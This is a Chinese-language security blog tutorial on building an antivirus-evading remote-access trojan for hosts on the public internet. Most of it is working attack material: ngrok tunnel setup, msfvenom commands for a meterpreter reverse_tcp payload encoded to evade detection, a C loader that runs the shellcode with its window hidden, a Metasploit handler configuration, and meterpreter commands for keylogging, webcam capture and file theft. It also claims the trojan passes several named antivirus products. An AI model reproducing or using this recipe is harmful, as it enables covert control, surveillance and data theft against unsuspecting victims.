Metasploit實驗：製作免殺payload+對任意「外網」主機的遠控

*本文只做技術交流之用，技術無罪，希望大家知法懂法，更要守法

我發一個文件，你電腦就被我控制了，我可以拍照攝像下載文件，殺毒軟體也不管用！

這是怎麼做到的呢？

這個問題的實現需要拆分成下面三個模塊

內網穿透到外網

製作免殺木馬後門

Metasploit控制客戶機

環境準備

操作系統	用途	IP地址	需要軟體
Kali	製作payload，攻擊，映射埠	192.168.1.130	Metasploit Ngrok
Win7	製作payload	省略	VC++6.0
Win10	客戶機	任意公網地址	無

內網穿透到外網

首先我們需要下載一個用於內網穿透的工具來進行埠映射與轉發。

這裡我用的是linux64bit

https://www.ngrok.cc/#down-client

接下來在上面的網站自行註冊申請，然後登陸。

然後申請免費隧道，選擇TCP協議，自定義遠程埠，本地IP地址就是kali的IP地址，埠自定義，但不要衝突。

這裡請記住隧道id，以及自定義遠程埠，kali本機埠

將下載的客戶端放置於指定目錄，cd到目錄，在命令行運行ngrok

./sunny clientid 隧道id

這樣就完成了埠映射，它能將外網埠接收到的數據返回到本機kali的指定埠。內網穿透的用途很多，下面給出說明，這裡不再贅述。

https://ngrok.com/docs

製作免殺木馬後門

首先，在kali中用msfvenom生成一個payload

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b 『x00』lhost=server.ngrok.cc lport=11206 -f c

上面命令中，-p選擇指定payload，–e選擇制定編碼器（不同編碼器免殺效果也有不同，部分編碼器應對火絨等殺軟效果顯著）， -i 編碼次數，-b 去多餘/壞字元，lhost是你申請的ngrok伺服器地址 lport是自定義的遠程埠，-f 生成指定格式。

我這裡選擇生成基於C語言的數組，當然你也可以用以下命令直接得到exe木馬，但這樣免殺效果會打折扣，經筆者測試多次，重複編碼12次後免殺效果非常強大！

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b 『x00』lhost=server.ngrok.cc lport=11206 -f exe > haya.exe

然後複製buf數組

在win7下用VC6.0對下面代碼進行編譯，得到木馬。

#include

#pragmacomment( linker, 「/subsystem:」windows」 /entry:」mainCRTStartup」")//運行時不顯示窗口

unsignedchar buf[] =

「buf數組」;//將複製的數組粘貼到此處

main()

{

((void(*)(void))&buf)();

}

Metasploit控制客戶機

切到Kali，使用Metasploit進行監聽。

設置監聽攻擊模塊，監聽載荷，IP（kali本機），埠（ngrok里自定義的本地埠），然後exp。

use exploit/multi/handler

set payloadswindows/meterpreter/reverset_tcp

set lhost 192.168.1.130

set lport 12345

exploit

當客戶機執行木馬後，得到一個meterpreter，可以進行的操作你懂的哈哈。

list一些meterpreter的常用命令。

Download（upload） path	下載（上傳）指定目錄文件
ps	列出當前系統進程
Kill uid	消滅指定uid系統進程
keyscan_start	開始鍵盤記錄軟體
webcam_snap	拍照
截屏	screenshot

關於隱藏木馬，加陌生殼，自啟動，文件包含，進程轉移等各種姿勢加強木馬強度就需要大家自行測試了

通入上述步驟得到的木馬經過筆者測試可以通過

360，騰訊管家，Windows defender，小紅傘

等殺毒軟體的查殺。動態免殺中，對於

360

，如果exe沒有放在C盤或者U盤運行就可以做到動態免殺，僅僅會在拍照等特敏感操作會有提示，其他操作全程不報毒，

defender

和

騰訊管家

就更弱了，拍照也不會有任何提示。

後記：通過此次實驗，更加了解了信息安全的重要性。免殺和殺軟是永遠的對頭，但是兩者相互抗衡其實加速了安全行業的發展，沒有絕對安全的系統，攻防相互對立卻又彼此依存，攻防應合一。

文章參考：

http://blog.csdn.net/lzhd24/article/details/50664342

http://www.freebuf.com/sectool/118714.html

http://www.hackdig.com/?03/hack-2030.htm

*本文作者：haya，轉載請註明FreeBuf.COM

喜歡這篇文章嗎？立刻分享出去讓更多人知道吧！

本站內容充實豐富，博大精深，小編精選每日熱門資訊，隨時更新，點擊「搶先收到最新資訊」瀏覽吧！

請您繼續閱讀更多來自 實驗 的精彩文章: